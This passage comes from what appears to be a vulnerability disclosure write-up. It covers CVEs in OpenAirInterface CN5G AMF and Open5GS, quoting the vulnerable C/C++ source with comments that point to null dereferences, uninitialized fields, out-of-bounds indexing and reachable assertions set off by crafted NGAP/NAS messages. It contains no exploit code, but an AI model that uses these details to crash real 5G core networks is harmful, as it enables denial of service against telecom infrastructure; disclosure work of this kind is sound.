    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">sctp_read_from_socket</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">app_</span><span class="o">-&gt;</span><span class="n">getPpid</span><span class="p">());</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="n">SCTP_RC_DISCONNECT</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">FD_CLR</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="n">fdmax</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">while</span> <span class="p">(</span><span class="n">FD_ISSET</span><span class="p">(</span><span class="n">fdmax</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">)</span> <span class="o">==</span> <span class="nb">false</span><span class="p">)</span> <span class="n">fdmax</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="c1">// ^ missing close() on file descriptor</span>
    <span class="p">}</span>

    <span class="c1">// ...   </span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24442</strong> (<strong>VULN-B07</strong>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">ngap_app</span><span class="o">::</span><span class="n">handle_receive</span><span class="p">(</span>
    <span class="n">bstring</span> <span class="n">payload</span><span class="p">,</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
    <span class="n">sctp_stream_id_t</span> <span class="n">instreams</span><span class="p">,</span> <span class="n">sctp_stream_id_t</span> <span class="n">outstreams</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">Ngap_NGAP_PDU_t</span><span class="o">*</span> <span class="n">ngap_msg_pdu</span> <span class="o">=</span>
            <span class="p">(</span><span class="n">Ngap_NGAP_PDU_t</span><span class="o">*</span><span class="p">)</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Ngap_NGAP_PDU_t</span><span class="p">));</span>
    <span class="n">asn_dec_rval_t</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">asn_decode</span><span class="p">(</span>
            <span class="nb">NULL</span><span class="p">,</span> <span class="n">ATS_ALIGNED_CANONICAL_PER</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">asn_DEF_Ngap_NGAP_PDU</span><span class="p">,</span>
            <span class="p">(</span><span class="kt">void</span><span class="o">**</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">ngap_msg_pdu</span><span class="p">,</span> <span class="n">bdata</span><span class="p">(</span><span class="n">payload</span><span class="p">),</span> <span class="n">blength</span><span class="p">(</span><span class="n">payload</span><span class="p">));</span>
    <span class="c1">// ^ return value not checked for `asn_decode()`. If there's an error...</span>

    <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">debug</span><span class="p">(</span>
            <span class="s">"Decoded NGAP message, procedure code %d, present %d"</span><span class="p">,</span>
            <span class="n">ngap_msg_pdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">initiatingMessage</span><span class="o">-&gt;</span><span class="n">procedureCode</span><span class="p">,</span>
            <span class="n">ngap_msg_pdu</span><span class="o">-&gt;</span><span class="n">present</span><span class="p">);</span>
    <span class="c1">// ^ ... then ngap_msg_pdu is all zeros; pointer accesses will cause null dereference.</span>
    <span class="n">output_wrapper</span><span class="o">::</span><span class="n">print_asn_msg</span><span class="p">(</span><span class="o">&amp;</span><span class="n">asn_DEF_Ngap_NGAP_PDU</span><span class="p">,</span> <span class="n">ngap_msg_pdu</span><span class="p">);</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24449</strong> (<strong>VULN-B08</strong>):</p>

<p>An uninitialized pointer dereference in the NasPdu::NasPdu component of
OpenAirInterface CN5G AMF up to v2.0.0 allows attackers to cause a
Denial of Service (DoS) via a crafted InitialUEMessage message sent to
the AMF.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngapIEs/NAS-PDU.hpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">NAS_PDU</span> <span class="p">{</span>
 <span class="nl">public:</span>
  <span class="n">NAS_PDU</span><span class="p">();</span>
  <span class="k">virtual</span> <span class="o">~</span><span class="n">NAS_PDU</span><span class="p">();</span>

  <span class="kt">bool</span> <span class="n">encode</span><span class="p">(</span><span class="n">Ngap_NAS_PDU_t</span><span class="o">&amp;</span><span class="p">);</span>
  <span class="kt">bool</span> <span class="n">decode</span><span class="p">(</span><span class="n">Ngap_NAS_PDU_t</span><span class="o">&amp;</span><span class="p">);</span>
  <span class="c1">// bool get(uint8_t*&amp; buffer, size_t&amp; size) const;</span>
  <span class="kt">void</span> <span class="n">set</span><span class="p">(</span><span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>

  <span class="kt">bool</span> <span class="n">get</span><span class="p">(</span><span class="n">OCTET_STRING_t</span><span class="o">&amp;</span> <span class="n">pdu</span><span class="p">)</span> <span class="k">const</span><span class="p">;</span>
  <span class="kt">bool</span> <span class="n">set</span><span class="p">(</span><span class="k">const</span> <span class="n">OCTET_STRING_t</span><span class="o">&amp;</span> <span class="n">pdu</span><span class="p">);</span>

  <span class="kt">bool</span> <span class="n">get</span><span class="p">(</span><span class="n">bstring</span><span class="o">&amp;</span> <span class="n">pdu</span><span class="p">)</span> <span class="k">const</span><span class="p">;</span>
  <span class="kt">bool</span> <span class="n">set</span><span class="p">(</span><span class="k">const</span> <span class="n">bstring</span><span class="o">&amp;</span> <span class="n">pdu</span><span class="p">);</span>

  <span class="kt">bool</span> <span class="n">get</span><span class="p">(</span><span class="n">NAS_PDU</span><span class="o">&amp;</span> <span class="n">nas_pdu</span><span class="p">)</span> <span class="k">const</span><span class="p">;</span>
  <span class="kt">bool</span> <span class="n">set</span><span class="p">(</span><span class="k">const</span> <span class="n">NAS_PDU</span><span class="o">&amp;</span> <span class="n">nas_pdu</span><span class="p">);</span>

 <span class="nl">private:</span>
  <span class="n">bstring</span> <span class="n">pdu_bstring</span><span class="p">;</span>
  <span class="c1">// ^ private member that needs initializing (bstring is a pointer type)</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngapIEs/NAS-PDU.cpp:28</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NAS_PDU</span><span class="o">::</span><span class="n">NAS_PDU</span><span class="p">()</span> <span class="p">{}</span>
<span class="c1">// ^ missing `: pdu_bstring(nullptr)` initialization; field left uninitialized</span>
</code></pre></div></div>

<p><strong>CVE-2024-24446</strong> (<strong>VULN-B09</strong>):</p>

<p>An uninitialized pointer dereference in OpenAirInterface CN5G AMF up to
v2.0.0 allows attackers to cause a Denial of Service (DoS) via a
crafted InitialContextSetupResponse message sent to the AMF.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngapMsgs/InitialContextSetupResponse.hpp</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">InitialContextSetupResponseMsg</span> <span class="o">:</span> <span class="k">public</span> <span class="n">NgapUEMessage</span> <span class="p">{</span>
<span class="nl">public:</span>

<span class="nl">private:</span>
    <span class="n">Ngap_InitialContextSetupResponse_t</span><span class="o">*</span> <span class="n">initialContextSetupResponseIEs</span><span class="p">;</span>
    <span class="c1">// ^ correctly initialized during `decodeFromPdu()`</span>
    <span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">PDUSessionResourceSetupListCxtRes</span><span class="o">&gt;</span>
        <span class="n">pduSessionResourceSetupResponseList</span><span class="p">;</span>
    <span class="c1">// ^ Uninitialized if the Initial Context Response message doesn't contain the IE</span>
    <span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">PDUSessionResourceFailedToSetupListCxtRes</span><span class="o">&gt;</span>
        <span class="n">pduSessionResourceFailedToSetupResponseList</span><span class="p">;</span>
    <span class="c1">// ^ Uninitialized if the Initial Context Response message doesn't contain the IE</span>
<span class="p">};</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="n">InitialContextSetupResponseMsg</span><span class="o">::</span><span class="n">decodeFromPdu</span><span class="p">(</span>
        <span class="n">Ngap_NGAP_PDU_t</span><span class="o">*</span> <span class="n">ngapMsgPdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ngapPdu</span> <span class="o">=</span> <span class="n">ngapMsgPdu</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ngapPdu</span><span class="o">-&gt;</span><span class="n">present</span> <span class="o">==</span> <span class="n">Ngap_NGAP_PDU_PR_successfulOutcome</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ngapPdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">successfulOutcome</span> <span class="o">&amp;&amp;</span>
            <span class="n">ngapPdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">successfulOutcome</span><span class="o">-&gt;</span><span class="n">procedureCode</span> <span class="o">==</span>
                <span class="n">Ngap_ProcedureCode_id_InitialContextSetup</span> <span class="o">&amp;&amp;</span>
            <span class="n">ngapPdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">successfulOutcome</span><span class="o">-&gt;</span><span class="n">criticality</span> <span class="o">==</span>
                <span class="n">Ngap_Criticality_reject</span> <span class="o">&amp;&amp;</span>
            <span class="n">ngapPdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">successfulOutcome</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">present</span> <span class="o">==</span>
                <span class="n">Ngap_SuccessfulOutcome__value_PR_InitialContextSetupResponse</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">initialContextSetupResponseIEs</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ngapPdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">successfulOutcome</span><span class="o">-&gt;</span><span class="n">value</span>
                                                <span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">InitialContextSetupResponse</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span><span class="s">"Check InitialContextSetupResponse message error"</span><span class="p">);</span>
            <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span><span class="s">"MessageType error"</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">initialContextSetupResponseIEs</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">count</span><span class="p">;</span>
        <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ... decoding of IEs done here</span>
    <span class="p">}</span>

    <span class="c1">// An Initial Context Response message with no IEs is considered valid</span>
    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">vim src/ngap/ngap_app/ngap_message_callback.hpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ngap_amf_handle_initial_context_setup_response</span><span class="p">(</span>
        <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
        <span class="k">struct</span> <span class="nc">Ngap_NGAP_PDU</span><span class="o">*</span> <span class="n">message_p</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">debug</span><span class="p">(</span><span class="s">"Handling Initial Context Setup Response"</span><span class="p">);</span>

    <span class="n">InitialContextSetupResponseMsg</span><span class="o">*</span> <span class="n">init_cxt_setup_response</span> <span class="o">=</span>
        <span class="k">new</span> <span class="n">InitialContextSetupResponseMsg</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">init_cxt_setup_response</span><span class="o">-&gt;</span><span class="n">decodeFromPdu</span><span class="p">(</span><span class="n">message_p</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span><span class="s">"Decoding InitialContextSetupResponse message error"</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">RETURNerror</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">PDUSessionResourceSetupResponseItem_t</span><span class="o">&gt;</span> <span class="n">list</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">init_cxt_setup_response</span><span class="o">-&gt;</span><span class="n">getPduSessionResourceSetupResponseList</span><span class="p">(</span><span class="n">list</span><span class="p">))</span> <span class="p">{</span>
        <span class="c1">// ^ getter accesses uninitialized memory if the field was never in the packet</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">debug</span><span class="p">(</span>
            <span class="s">"Decode PduSessionResourceSetupResponseList IE error or this IE is not "</span>
            <span class="s">"available"</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">RETURNok</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24443</strong> (<strong>VULN-B10</strong>):</p>

<p>The <code class="language-plaintext highlighter-rouge">pduSessionResourceFailedToSetupResponseList</code> field in the <code class="language-plaintext highlighter-rouge">PduSessionResourceSetupResponseMsg</code> class is an optional that is default-initialized to none. However, it is subsequently used as if it is initialized when decoding an NGAP PDU. The uninitialized values may trigger an out-of-bounds vector write when <code class="language-plaintext highlighter-rouge">push_back()</code> is called.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngapMsgs/PduSessionResourceSetupResponse.cpp:321</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="n">Ngap_ProtocolIE_ID_id_PDUSessionResourceFailedToSetupListSURes</span><span class="p">:</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">pduSessionResourceSetupResponseIEs</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
                <span class="o">-&gt;</span><span class="n">criticality</span> <span class="o">==</span> <span class="n">Ngap_Criticality_ignore</span> <span class="o">&amp;&amp;</span>
        <span class="n">pduSessionResourceSetupResponseIEs</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
                <span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">present</span> <span class="o">==</span>
            <span class="n">Ngap_PDUSessionResourceSetupResponseIEs__value_PR_PDUSessionResourceFailedToSetupListSURes</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">PDUSessionResourceFailedToSetupListSURes</span> <span class="n">tmp</span> <span class="o">=</span> <span class="p">{};</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pduSessionResourceFailedToSetupResponseList</span><span class="o">-&gt;</span><span class="n">decode</span><span class="p">(</span>
    <span class="c1">// ^ called from an optional value of None means this is an uninitialized dereference</span>
            <span class="o">&amp;</span><span class="n">pduSessionResourceSetupResponseIEs</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span>
                <span class="p">.</span><span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
                <span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span>
                <span class="p">.</span><span class="n">PDUSessionResourceFailedToSetupListSURes</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
            <span class="s">"Decoded NGAP PDUSessionResourceFailedToSetupListSURes IE "</span>
            <span class="s">"error!"</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">pduSessionResourceFailedToSetupResponseList</span> <span class="o">=</span>
        <span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">PDUSessionResourceFailedToSetupListSURes</span><span class="o">&gt;</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
    <span class="c1">// ^ now the field is properly initialized, but at this point it's too late</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24447</strong> (<strong>VULN-B11</strong>):</p>

<p>A buffer overflow in the
<code class="language-plaintext highlighter-rouge">ngap_amf_handle_pdu_session_resource_setup_response</code> function of
oai-cn5g-amf up to v2.0.0 allows attackers to cause a
Denial of Service (DoS) via a PDU Session Resource Setup
Response with an empty Response Item list.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngap_app/ngap_message_callback.hpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ngap_amf_handle_pdu_session_resource_setup_response</span><span class="p">(</span>
    <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
    <span class="k">struct</span> <span class="nc">Ngap_NGAP_PDU</span><span class="o">*</span> <span class="n">message_p</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">debug</span><span class="p">(</span><span class="s">"Handle PDU Session Resource Setup Response"</span><span class="p">);</span>

  <span class="n">PduSessionResourceSetupResponseMsg</span><span class="o">*</span> <span class="n">pdu_session_resource_setup_resp</span> <span class="o">=</span>
      <span class="k">new</span> <span class="n">PduSessionResourceSetupResponseMsg</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pdu_session_resource_setup_resp</span><span class="o">-&gt;</span><span class="n">decodeFromPdu</span><span class="p">(</span><span class="n">message_p</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
        <span class="s">"Decoding PduSessionResourceSetupResponseMsg message error"</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">RETURNerror</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">PDUSessionResourceSetupResponseItem_t</span><span class="o">&gt;</span> <span class="n">list</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pdu_session_resource_setup_resp</span><span class="o">-&gt;</span><span class="n">getPduSessionResourceSetupResponseList</span><span class="p">(</span>
          <span class="n">list</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
        <span class="s">"Decoding PduSessionResourceSetupResponseMsg "</span>
        <span class="s">"getPduSessionResourceSetupResponseList IE error"</span><span class="p">);</span>
    <span class="c1">// return RETURNerror;</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="c1">// TODO: for multiple PDU Sessions</span>
    <span class="n">itti_nsmf_pdusession_update_sm_context</span><span class="o">*</span> <span class="n">itti_msg</span> <span class="o">=</span>
        <span class="k">new</span> <span class="n">itti_nsmf_pdusession_update_sm_context</span><span class="p">(</span><span class="n">TASK_NGAP</span><span class="p">,</span> <span class="n">TASK_AMF_SBI</span><span class="p">);</span>
    <span class="kt">long</span> <span class="n">amf_ue_ngap_id</span> <span class="o">=</span> <span class="n">pdu_session_resource_setup_resp</span><span class="o">-&gt;</span><span class="n">getAmfUeNgapId</span><span class="p">();</span>
    <span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">nas_context</span><span class="o">&gt;</span> <span class="n">nct</span> <span class="o">=</span> <span class="p">{};</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">amf_n1_inst</span><span class="o">-&gt;</span><span class="n">amf_ue_id_2_nas_context</span><span class="p">(</span><span class="n">amf_ue_ngap_id</span><span class="p">,</span> <span class="n">nct</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
          <span class="s">"No UE NAS context with amf_ue_ngap_id (0x%x)"</span><span class="p">,</span> <span class="n">amf_ue_ngap_id</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">RETURNerror</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">itti_msg</span><span class="o">-&gt;</span><span class="n">supi</span>           <span class="o">=</span> <span class="n">conv</span><span class="o">::</span><span class="n">imsi_to_supi</span><span class="p">(</span><span class="n">nct</span><span class="o">-&gt;</span><span class="n">imsi</span><span class="p">);</span>
    <span class="n">itti_msg</span><span class="o">-&gt;</span><span class="n">pdu_session_id</span> <span class="o">=</span> <span class="n">list</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionId</span><span class="p">;</span>
    <span class="c1">// ^ list could have 0 elements (out-of-bound array index)</span>
    <span class="n">itti_msg</span><span class="o">-&gt;</span><span class="n">n2sm</span>           <span class="o">=</span> <span class="n">blk2bstr</span><span class="p">(</span>
        <span class="n">list</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionResourceSetupResponseTransfer</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span>
        <span class="n">list</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionResourceSetupResponseTransfer</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
    <span class="c1">// ^ list could have 0 elements (out-of-bound array index)</span>
</code></pre></div></div>

<h2 id="open5gs-5g">Open5GS (5G)</h2>

<h3 id="nas-protocol-vulnerabilities">NAS Protocol Vulnerabilities</h3>

<p><strong>VULN-A01</strong>:</p>

<p>A malformed SUCI within the NAS 5GMM message can lead to a parsing error and reachable assertion.</p>

<p><code class="language-plaintext highlighter-rouge">src/amf/context.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">amf_ue_t</span> <span class="o">*</span><span class="nf">amf_ue_find_by_message</span><span class="p">(</span><span class="n">ogs_nas_5gs_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">suci</span> <span class="o">=</span> <span class="n">ogs_nas_5gs_suci_from_mobile_identity</span><span class="p">(</span><span class="n">mobile_identity</span><span class="p">);</span>
    <span class="c1">// ^ malformed mobile identity causes this to fail...</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">suci</span><span class="p">);</span>
    <span class="c1">// ^ ... leading to this reachable assertion.</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24428</strong> (<strong>VULN-A02</strong>):</p>

<p>A zero-length NAS 5GMM packet triggers a reachable assertion.</p>

<p><code class="language-plaintext highlighter-rouge">lib/nas/5gs/decoder.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ogs_nas_5gmm_decode</span><span class="p">(</span><span class="n">ogs_nas_5gs_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">,</span> <span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="n">pkbuf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ^ received NAS payload of 0 bytes in length...</span>
    <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pkbuf</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">);</span>
    <span class="c1">// ^ ...triggers this assertion</span>
</code></pre></div></div>

<p><strong>2024-24427</strong> (<strong>VULN-A04</strong>):</p>

<p>A malformed SUCI within the NAS 5GMM message can lead to a parsing error and reachable assertion.</p>

<p><code class="language-plaintext highlighter-rouge">src/amf/context.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">amf_ue_set_suci</span><span class="p">(</span><span class="n">amf_ue_t</span> <span class="o">*</span><span class="n">amf_ue</span><span class="p">,</span>
        <span class="n">ogs_nas_5gs_mobile_identity_t</span> <span class="o">*</span><span class="n">mobile_identity</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">suci</span> <span class="o">=</span> <span class="n">ogs_nas_5gs_suci_from_mobile_identity</span><span class="p">(</span><span class="n">mobile_identity</span><span class="p">);</span>
    <span class="c1">// ^ malformed mobile identity causes this to fail...</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">suci</span><span class="p">);</span>
    <span class="c1">// ^ ... leading to this reachable assertion.</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="ngap-protocol-vulnerabilities-1">NGAP Protocol Vulnerabilities</h3>

<p><strong>VULN-A03</strong>:</p>

<p>Malformed <code class="language-plaintext highlighter-rouge">SON Configuration Transfer</code> information element can trigger a reachable assertion when sending a Downlink SON Configuration Transfer.</p>

<p><code class="language-plaintext highlighter-rouge">src/amf/ngap-build.c:1768</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="nf">ngap_build_downlink_ran_configuration_transfer</span><span class="p">(</span>
    <span class="n">NGAP_SONConfigurationTransfer_t</span> <span class="o">*</span><span class="n">transfer</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">rv</span> <span class="o">=</span> <span class="n">ogs_asn_copy_ie</span><span class="p">(</span><span class="o">&amp;</span><span class="n">asn_DEF_NGAP_SONConfigurationTransfer</span><span class="p">,</span>
            <span class="n">transfer</span><span class="p">,</span> <span class="n">SONConfigurationTransfer</span><span class="p">);</span>
    <span class="c1">// ^ a malformed SONConfigurationTransfer can cause this to fail...</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">rv</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
    <span class="c1">// ^ ...leading to reachable assertion failure.</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>VULN-A05</strong>:</p>

<p>Malformed <code class="language-plaintext highlighter-rouge">SON Configuration Transfer</code> information element can trigger a reachable assertion when handling an Uplink SON Configuration Transfer.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ngap_handle_uplink_ran_configuration_transfer</span><span class="p">(</span>
        <span class="n">amf_gnb_t</span> <span class="o">*</span><span class="n">gnb</span><span class="p">,</span> <span class="n">ogs_ngap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">,</span> <span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="n">pkbuf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">OGS_OK</span> <span class="o">==</span>
        <span class="n">ngap_send_downlink_ran_configuration_transfer</span><span class="p">(</span>
            <span class="n">target_gnb</span><span class="p">,</span> <span class="n">SONConfigurationTransfer</span><span class="p">));</span>
    <span class="c1">// ^ reachable assertion when malformed SONConfigurationTransfer received</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="magma-5g">Magma (5G)</h2>

